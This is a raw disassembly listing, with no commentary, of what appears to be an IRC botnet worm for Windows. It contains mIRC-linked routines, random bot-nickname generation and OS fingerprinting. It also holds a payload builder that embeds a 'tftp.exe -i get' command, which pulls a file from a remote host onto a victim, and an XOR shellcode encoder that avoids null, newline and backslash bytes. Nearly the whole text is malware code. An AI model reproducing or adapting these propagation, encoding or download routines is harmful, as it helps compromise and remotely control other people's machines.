; ---------------------------------------------------------------------------
loc_40A911: ; CODE XREF: sub_40A8F0+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40A918: ; CODE XREF: sub_40A8F0+Dj
retn
sub_40A8F0 endp
; =============== S U B R O U T I N E =======================================
sub_40A919 proc near ; CODE XREF: sub_4017ED+D6p
mov ecx, dword_4CB8F0
xor eax, eax
test ecx, ecx
jz short locret_40A927
call ecx
locret_40A927: ; CODE XREF: sub_40A919+Aj
retn
sub_40A919 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A928 proc near ; CODE XREF: sub_401ACD:loc_403F03p
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_4CBA50
mov ecx, eax
sub ecx, edi
jz loc_40A9EE
sub ecx, 32h
jz loc_40A9E7
sub ecx, 48h
jz short loc_40A988
sub ecx, 6Eh
jz short loc_40A981
loc_40A96A: ; CODE XREF: sub_40A928+8Bj
push eax
lea eax, [ebp+var_88]
push offset unk_42D8D8
push eax
call sub_41C266
add esp, 0Ch
jmp short loc_40A9C8
; ---------------------------------------------------------------------------
loc_40A981: ; CODE XREF: sub_40A928+40j
push offset unk_42D8B4
jmp short loc_40A9BA
; ---------------------------------------------------------------------------
loc_40A988: ; CODE XREF: sub_40A928+3Bj
push [ebp+var_8]
call sub_41BEB5
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_41BF70
add esp, 10h
cmp esi, edi
jz short loc_40A9B5
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_4CBA50
cmp eax, edi
jz short loc_40A9EE
jmp short loc_40A96A
; ---------------------------------------------------------------------------
loc_40A9B5: ; CODE XREF: sub_40A928+79j
push offset unk_42D884
loc_40A9BA: ; CODE XREF: sub_40A928+5Ej
; sub_40A928+C4j
lea eax, [ebp+var_88]
push eax
call sub_41C266
pop ecx
pop ecx
loc_40A9C8: ; CODE XREF: sub_40A928+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_415D38
pop ecx
loc_40A9D8: ; CODE XREF: sub_40A928+C8j
; sub_40A928+DCj
push esi
call sub_41BA91
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40A9E7: ; CODE XREF: sub_40A928+32j
push offset unk_42D854
jmp short loc_40A9BA
; ---------------------------------------------------------------------------
loc_40A9EE: ; CODE XREF: sub_40A928+29j
; sub_40A928+89j
cmp [esi], edi
jbe short loc_40A9D8
lea ebx, [esi+4]
loc_40A9F5: ; CODE XREF: sub_40A928+DAj
push ebx
call dword_4CBA4C
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40A9F5
jmp short loc_40A9D8
sub_40A928 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AA06 proc near ; CODE XREF: sub_401ACD+21EDp
; sub_401ACD+233Ep ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_4CB978
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_4CBB04
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_41C266
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AA06 endp
; =============== S U B R O U T I N E =======================================
sub_40AA5F proc near ; CODE XREF: sub_413694+24Cp
; sub_413694+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_40AA88
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40AA7B: ; CODE XREF: sub_40AA5F+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40AA7B
pop edi
jmp short loc_40AA8C
; ---------------------------------------------------------------------------
loc_40AA88: ; CODE XREF: sub_40AA5F+Aj
mov edx, [esp+4+arg_0]
loc_40AA8C: ; CODE XREF: sub_40AA5F+27j
test esi, esi
pop esi
jz short loc_40AA96
movzx ecx, byte ptr [edx]
add eax, ecx
loc_40AA96: ; CODE XREF: sub_40AA5F+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40AA5F endp
; =============== S U B R O U T I N E =======================================
sub_40AAAC proc near ; CODE XREF: sub_40AE84+49p
; DATA XREF: ___:off_42D920o
arg_0 = dword ptr 4
push esi
push edi
nop
call near ptr 269083Ah
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
xor edx, edx
mov ecx, 48Fh
div ecx
mov edi, [esp+8+arg_0]
push off_42D99C[edx*4]
push offset aS_1 ; "%s"
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AB14
loc_40AAEE: ; CODE XREF: sub_40AAAC+66j
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B89C
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AAEE
loc_40AB14: ; CODE XREF: sub_40AAAC+40j
mov eax, edi
pop edi
pop esi
retn
sub_40AAAC endp
; ---------------------------------------------------------------------------
db 56h, 57h, 90h
dd 285D19E8h, 91E85002h, 8B000117h, 0C710247Ch, 91382404h
dd 0B4680042h, 6A0042CCh, 21E8571Ch, 33000118h, 10C483F6h
dd 90983539h, 267E0042h, 11771E8h, 990A6A00h, 52F9F759h
dd 0B89C6857h, 1C6A0042h, 17FAE857h, 0C4830001h, 353B4614h
dd 429098h, 0C78BDA7Ch
; ---------------------------------------------------------------------------
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_40AB77 proc near ; CODE XREF: sub_401ACD+68EEp
arg_0 = dword ptr 4
push ebx
push esi
push edi
nop
call near ptr 269083Ah
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_429098
test esi, esi
jle short loc_40ABBA
loc_40ABA4: ; CODE XREF: sub_40AB77+41j
call sub_41C2C2
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40ABA4
loc_40ABBA: ; CODE XREF: sub_40AB77+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40AB77 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and dword ptr [ebp-4], 0
push esi
push edi
mov dword ptr [ebp-8], 100h
call near ptr 269083Ah
nop
push eax
call sub_41C2B8
pop ecx
lea eax, [ebp-8]
mov esi, offset byte_4315F4
push eax
push esi
nop
call near ptr 26C0000h
movsx eax, byte_4315F4
push 41h
pop ecx
push 1
pop edx
loc_40AC00: ; CODE XREF: ___:0040AC0Bj
cmp eax, ecx
jnz short loc_40AC07
mov [ebp-4], edx
loc_40AC07: ; CODE XREF: ___:0040AC02j
inc ecx
cmp ecx, 5Bh
jl short loc_40AC00
push 61h
pop ecx
loc_40AC10: ; CODE XREF: ___:0040AC1Bj
cmp eax, ecx
jnz short loc_40AC17
mov [ebp-4], edx
loc_40AC17: ; CODE XREF: ___:0040AC12j
inc ecx
cmp ecx, 7Bh
jl short loc_40AC10
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 0Ch
cmp dword_429098, esi
jle short loc_40AC5C
loc_40AC36: ; CODE XREF: ___:0040AC5Aj
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B89C
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AC36
loc_40AC5C: ; CODE XREF: ___:0040AC34j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
nop
call near ptr 269083Ah
push eax
call sub_41C2B8
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
nop
call near ptr 26D0000h
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_4315F8
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40ACD1
loc_40ACAB: ; CODE XREF: ___:0040ACCFj
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B89C
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40ACAB
loc_40ACD1: ; CODE XREF: ___:0040ACA9j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_43DB88
mov dword ptr [ebp-94h], 94h
nop
call near ptr 26D04D8h
call near ptr 269083Ah
nop
push eax
call sub_41C2B8
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_40AD5B
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AD3B
cmp dword ptr [ebp-84h], 1
jnz short loc_40AD2B
mov esi, offset dword_431620
loc_40AD2B: ; CODE XREF: ___:0040AD24j
cmp dword ptr [ebp-84h], 2
jnz short loc_40AD97
mov esi, offset dword_43161C
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD3B: ; CODE XREF: ___:0040AD1Bj
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_40AD4B
mov esi, offset dword_431618
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD4B: ; CODE XREF: ___:0040AD42j
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_40AD92
mov esi, offset dword_431614
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD5B: ; CODE XREF: ___:0040AD12j
cmp dword ptr [ebp-90h], 5
jnz short loc_40AD92
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AD74
mov esi, offset dword_431610
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD74: ; CODE XREF: ___:0040AD6Bj
cmp dword ptr [ebp-8Ch], 1
jnz short loc_40AD84
mov esi, offset dword_43160C
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD84: ; CODE XREF: ___:0040AD7Bj
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_431608
jz short loc_40AD97
loc_40AD92: ; CODE XREF: ___:0040AD52j
; ___:0040AD62j
mov esi, offset dword_431604
loc_40AD97: ; CODE XREF: ___:0040AD32j
; ___:0040AD39j ...
mov edi, [ebp+8]
push esi
push offset dword_4315FC
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40ADDB
loc_40ADB5: ; CODE XREF: ___:0040ADD9j
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B89C
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40ADB5
loc_40ADDB: ; CODE XREF: ___:0040ADB3j
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ADE1 proc near ; CODE XREF: sub_40AE84+5Cp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
nop
call near ptr 269083Ah
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc_0 ; "mIRC"
mov esi, eax
cmp esi, 64h
jbe short loc_40AE30
call dword_4CB9E0
test eax, eax
mov eax, offset off_43162C
jnz short loc_40AE19
mov eax, offset byte_43DB88
loc_40AE19: ; CODE XREF: sub_40ADE1+31j
push eax
push esi
push offset dword_431624
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41C360
add esp, 14h
jmp short loc_40AE50
; ---------------------------------------------------------------------------
loc_40AE30: ; CODE XREF: sub_40ADE1+22j
call dword_4CB9E0
test eax, eax
mov eax, offset off_43162C
jnz short loc_40AE44
mov eax, offset byte_43DB88
loc_40AE44: ; CODE XREF: sub_40ADE1+5Cj
push eax
lea eax, [ebp+var_1C]
push eax
call sub_41C266
pop ecx
pop ecx
loc_40AE50: ; CODE XREF: sub_40ADE1+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_41B9C0
pop ecx
cmp eax, 2
pop esi
jbe short loc_40AE7F
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_41CBC0
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_41BFD0
add esp, 18h
loc_40AE7F: ; CODE XREF: sub_40ADE1+7Dj
mov eax, [ebp+arg_0]
leave
retn
sub_40ADE1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AE84 proc near ; CODE XREF: sub_4017ED+7Fp
; sub_401955+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_42D91C
loc_40AE90: ; CODE XREF: sub_40AE84+3Fj
cmp [ebp+arg_C], 0
jz short loc_40AEAB
lea eax, [esi-0Ch]
push eax
push [ebp+arg_C]
call sub_41CA50
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40AEB5
; ---------------------------------------------------------------------------
loc_40AEAB: ; CODE XREF: sub_40AE84+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_40AEB5: ; CODE XREF: sub_40AE84+25j
test eax, eax
jnz short loc_40AEC7
add esi, 14h
inc edi
cmp esi, offset off_42D9A8
jb short loc_40AE90
jmp short loc_40AED5
; ---------------------------------------------------------------------------
loc_40AEC7: ; CODE XREF: sub_40AE84+33j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_42D920[eax*4]
pop ecx
loc_40AED5: ; CODE XREF: sub_40AE84+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_40AEE8
push [ebp+arg_0]
call sub_40ADE1
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40AEE8: ; CODE XREF: sub_40AE84+57j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_40AE84 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0B8h
push ebx
push esi
lea eax, [ebp-0B8h]
push edi
push eax
mov edi, offset byte_43DB88
mov dword ptr [ebp-0B8h], 94h
nop
call near ptr 26D04D8h
cmp dword ptr [ebp-0B4h], 4
push 0Ah
pop ebx
jnz short loc_40AF67
cmp dword ptr [ebp-0B0h], 0
jnz short loc_40AF48
cmp dword ptr [ebp-0A8h], 1
jnz short loc_40AF38
mov edi, offset dword_431620
loc_40AF38: ; CODE XREF: ___:0040AF31j
cmp dword ptr [ebp-0A8h], 2
jnz short loc_40AFA3
mov edi, offset dword_43161C
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF48: ; CODE XREF: ___:0040AF28j
cmp [ebp-0B0h], ebx
jnz short loc_40AF57
mov edi, offset dword_431618
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF57: ; CODE XREF: ___:0040AF4Ej
cmp dword ptr [ebp-0B0h], 5Ah
jnz short loc_40AF9E
mov edi, offset dword_431614
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF67: ; CODE XREF: ___:0040AF1Fj
cmp dword ptr [ebp-0B4h], 5
jnz short loc_40AF9E
cmp dword ptr [ebp-0B0h], 0
jnz short loc_40AF80
mov edi, offset dword_431610
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF80: ; CODE XREF: ___:0040AF77j
cmp dword ptr [ebp-0B0h], 1
jnz short loc_40AF90
mov edi, offset dword_43160C
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF90: ; CODE XREF: ___:0040AF87j
cmp dword ptr [ebp-0B0h], 2
mov edi, offset dword_431684
jz short loc_40AFA3
loc_40AF9E: ; CODE XREF: ___:0040AF5Ej
; ___:0040AF6Ej
mov edi, offset dword_431680
loc_40AFA3: ; CODE XREF: ___:0040AF3Fj
; ___:0040AF46j ...
lea eax, [ebp-0A4h]
push offset word_4CB88C
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40AFC1
mov esi, offset dword_43167C
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40AFC1: ; CODE XREF: ___:0040AFB8j
lea eax, [ebp-0A4h]
push offset a1 ; "1"
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_40AFDF
mov esi, offset sub_431678
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40AFDF: ; CODE XREF: ___:0040AFD6j
lea eax, [ebp-0A4h]
push offset dword_431674
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_40AFFD
mov esi, offset dword_431670
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40AFFD: ; CODE XREF: ___:0040AFF4j
lea eax, [ebp-0A4h]
push offset dword_43166C
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_40B01B
mov esi, offset dword_431668
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40B01B: ; CODE XREF: ___:0040B012j
lea eax, [ebp-0A4h]
push offset dword_431664
push eax
call sub_41C2E0
pop ecx
mov esi, offset dword_431660
test eax, eax
pop ecx
jnz short loc_40B03C
mov esi, offset off_43165C
loc_40B03C: ; CODE XREF: ___:0040AFBFj
; ___:0040AFDDj ...
lea eax, [ebp-0Ch]
or dword ptr [ebp-4], 0FFFFFFFFh
push eax
or dword ptr [ebp-8], 0FFFFFFFFh
or dword ptr [ebp-0Ch], 0FFFFFFFFh
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 0
call sub_41ADD8
pop ecx
push eax
call sub_41CCE3
mov eax, [ebp-4]
add esp, 14h
cmp eax, ebx
jge short loc_40B086
push eax
push offset a0D ; "0%d"
lea eax, [ebp-18h]
push ebx
push eax
call sub_41C360
add esp, 10h
jmp short loc_40B0AA
; ---------------------------------------------------------------------------
loc_40B086: ; CODE XREF: ___:0040B06Fj
cmp eax, 64h
jge short loc_40B098
lea ecx, [ebp-18h]
push ebx
push ecx
push eax
call sub_42635C
jmp short loc_40B0A7
; ---------------------------------------------------------------------------
loc_40B098: ; CODE XREF: ___:0040B089j
push offset a99 ; "99"
lea eax, [ebp-18h]
push ebx
push eax
call sub_41C360
loc_40B0A7: ; CODE XREF: ___:0040B096j
add esp, 0Ch
loc_40B0AA: ; CODE XREF: ___:0040B084j
nop
call near ptr 269083Ah
push eax
call sub_41C2B8
pop ecx
lea eax, [ebp-24h]
push ebx
push eax
push 7
push 800h
nop
call near ptr 26D0000h
lea eax, [ebp-18h]
push eax
push esi
lea eax, [ebp-24h]
push edi
mov edi, [ebp+8]
push eax
push offset aSSSS ; "%s|%s|%s|%s|"
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 1Ch
cmp dword_429098, esi
jle short loc_40B115
loc_40B0F0: ; CODE XREF: ___:0040B113j
call sub_41C2C2
cdq
mov ecx, ebx
idiv ecx
push edx
push edi
push offset dword_42B89C
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40B0F0
loc_40B115: ; CODE XREF: ___:0040B0EEj
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_40B11C proc near ; CODE XREF: sub_40B13C+Ap
; sub_40B214+8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_41B9C0
push [esp+8+arg_4]
mov esi, eax
call sub_41B9C0
pop ecx
lea eax, [esi+eax*2+0C1h]
pop ecx
pop esi
retn
sub_40B11C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B13C proc near ; CODE XREF: sub_40B22B+49p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C]
push [ebp+arg_8]
call sub_40B11C
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_40B159
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40B159: ; CODE XREF: sub_40B13C+17j
push ebx
push esi
push edi
push [ebp+arg_8]
call sub_41B9C0
push [ebp+arg_C]
mov esi, eax
call sub_41B9C0
mov edi, eax
mov ebx, [ebp+arg_0]
push 0FFFFFFEDh
lea eax, [edi+esi+12h]
mov dword_43171C, eax
lea eax, [edi+1]
mov dword_43173D, eax
lea eax, [edi+17h]
mov dword_431735, eax
pop eax
push 74h
sub eax, edi
push offset dword_4316B8
push ebx
mov dword_43174B, eax
call sub_41CD20
push esi
lea eax, [ebx+74h]
push [ebp+arg_8]
push eax
call sub_41CD20
add esi, 74h
push 5
push (offset aTftp_exeIGet+0Ch)
lea eax, [esi+ebx]
push eax
call sub_41CD20
add esi, 5
push edi
push [ebp+arg_C]
lea eax, [esi+ebx]
push eax
call sub_41CD20
add esi, edi
push 10h
push (offset aTftp_exeIGet+11h)
lea eax, [esi+ebx]
push eax
call sub_41CD20
add esp, 44h
add esi, 10h
push edi
lea eax, [esi+ebx]
push [ebp+arg_C]
push eax
call sub_41CD20
add esi, edi
push 38h
add esi, ebx
push offset byte_431741
push esi
call sub_41CD20
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_40B13C endp
; =============== S U B R O U T I N E =======================================
sub_40B214 proc near ; CODE XREF: sub_40B22B+Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40B11C
push eax
call sub_40B298
add esp, 0Ch
retn
sub_40B214 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B22B proc near ; CODE XREF: sub_40DCF9+32p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_8]
push edi
mov edi, [ebp+arg_C]
push edi
push ebx
call sub_40B214
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
ja short loc_40B24B
cmp eax, 0FFFFh
jbe short loc_40B24F
loc_40B24B: ; CODE XREF: sub_40B22B+17j
xor eax, eax
jmp short loc_40B294
; ---------------------------------------------------------------------------
loc_40B24F: ; CODE XREF: sub_40B22B+1Ej
push esi
push edi
push ebx
call sub_40B11C
add eax, 101h
push eax
call sub_41BEB5
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_40B11C
pop ecx
pop ecx
push eax
push esi
call sub_40B13C
push eax
push esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40B2B3
push esi
mov edi, eax
call sub_41BA91
add esp, 24h
mov eax, edi
pop esi
loc_40B294: ; CODE XREF: sub_40B22B+22j
pop edi
pop ebx
pop ebp
retn
sub_40B22B endp
; =============== S U B R O U T I N E =======================================
sub_40B298 proc near ; CODE XREF: sub_40B214+Ep
; sub_40B2B3+4Ap
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_40B2A1
inc ecx
loc_40B2A1: ; CODE XREF: sub_40B298+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_40B298 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B2B3 proc near ; CODE XREF: sub_40B22B+56p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
cmp byte ptr [ebp+arg_C], 0Ah
jz short loc_40B2CF
cmp byte ptr [ebp+arg_C], 0Dh
jz short loc_40B2CF
cmp byte ptr [ebp+arg_C], 5Ch
jz short loc_40B2CF
cmp byte ptr [ebp+arg_C], 0
jnz short loc_40B2D2
loc_40B2CF: ; CODE XREF: sub_40B2B3+8j
; sub_40B2B3+Ej ...
inc [ebp+arg_C]
loc_40B2D2: ; CODE XREF: sub_40B2B3+1Aj
push esi
mov esi, 0FFh
cmp [ebp+arg_C], esi
jbe short loc_40B2FA
mov eax, [ebp+arg_C]
shr eax, 8
cmp al, 0Ah
jz short loc_40B2F3
cmp al, 0Dh
jz short loc_40B2F3
cmp al, 5Ch
jz short loc_40B2F3
test al, al
jnz short loc_40B2FA
loc_40B2F3: ; CODE XREF: sub_40B2B3+32j
; sub_40B2B3+36j ...
add [ebp+arg_C], 100h
loc_40B2FA: ; CODE XREF: sub_40B2B3+28j
; sub_40B2B3+3Ej
push [ebp+arg_C]
call sub_40B298
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_40B312
cmp eax, 0FFFFh
jbe short loc_40B319
loc_40B312: ; CODE XREF: sub_40B2B3+56j
xor eax, eax
jmp loc_40B3B7
; ---------------------------------------------------------------------------
loc_40B319: ; CODE XREF: sub_40B2B3+5Dj
mov ecx, [ebp+arg_C]
push ebx
mov bl, byte_4CBB18
xor edx, edx
push edi
mov edi, [ebp+arg_8]
test ecx, ecx
jbe short loc_40B349
loc_40B32D: ; CODE XREF: sub_40B2B3+94j
mov al, [edx+edi]
xor al, bl
jz short loc_40B340
cmp al, 0Ah
jz short loc_40B340
cmp al, 0Dh
jz short loc_40B340
cmp al, 5Ch
jnz short loc_40B344
loc_40B340: ; CODE XREF: sub_40B2B3+7Fj
; sub_40B2B3+83j ...
inc bl
xor edx, edx
loc_40B344: ; CODE XREF: sub_40B2B3+8Bj
inc edx
cmp edx, ecx
jb short loc_40B32D
loc_40B349: ; CODE XREF: sub_40B2B3+78j
cmp ecx, esi
mov byte_4CBB18, bl
ja short loc_40B375
push 15h
push offset loc_4316A0
push [ebp+arg_0]
mov byte_4316AD, cl
mov byte_4316B1, bl
call sub_41CD20
add esp, 0Ch
push 15h
jmp short loc_40B396
; ---------------------------------------------------------------------------
loc_40B375: ; CODE XREF: sub_40B2B3+9Ej
push 17h
push offset loc_431688
push [ebp+arg_0]
mov word_431696, cx
mov byte_43169B, bl
call sub_41CD20
add esp, 0Ch
push 17h
loc_40B396: ; CODE XREF: sub_40B2B3+C0j
xor eax, eax
pop ecx
cmp [ebp+arg_C], eax
jbe short loc_40B3B2
mov edx, [ebp+arg_0]
lea esi, [ecx+edx]
loc_40B3A4: ; CODE XREF: sub_40B2B3+FDj
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_40B3A4
loc_40B3B2: ; CODE XREF: sub_40B2B3+E9j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_40B3B7: ; CODE XREF: sub_40B2B3+61j
pop esi
leave
retn
sub_40B2B3 endp
; =============== S U B R O U T I N E =======================================
sub_40B3BA proc near ; CODE XREF: ___:00401599p
; ___:004015D8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_43E710
loc_40B3C2: ; CODE XREF: sub_40B3BA+18j
cmp byte ptr [eax], 0
jz short loc_40B3D6
add eax, 234h
inc edi
cmp eax, offset dword_4CB710
jl short loc_40B3C2
jmp short loc_40B421
; ---------------------------------------------------------------------------
loc_40B3D6: ; CODE XREF: sub_40B3BA+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_43E710[esi]
push eax
call sub_41BFD0
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov dword_43E910[esi], eax
and dword_43E914[esi], 0
mov eax, [esp+8+arg_8]
and dword_43E918[esi], 0
mov dword_43E91C[esi], eax
and byte_43E928[esi], 0
pop esi
loc_40B421: ; CODE XREF: sub_40B3BA+1Aj
mov eax, edi
pop edi
retn
sub_40B3BA endp
; ---------------------------------------------------------------------------
byte_40B425 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2946o
dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh
dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
dd 0C4830000h, 90006A14h, 2D4B8BE8h, 555E5F02h, 0EC81EC8Bh
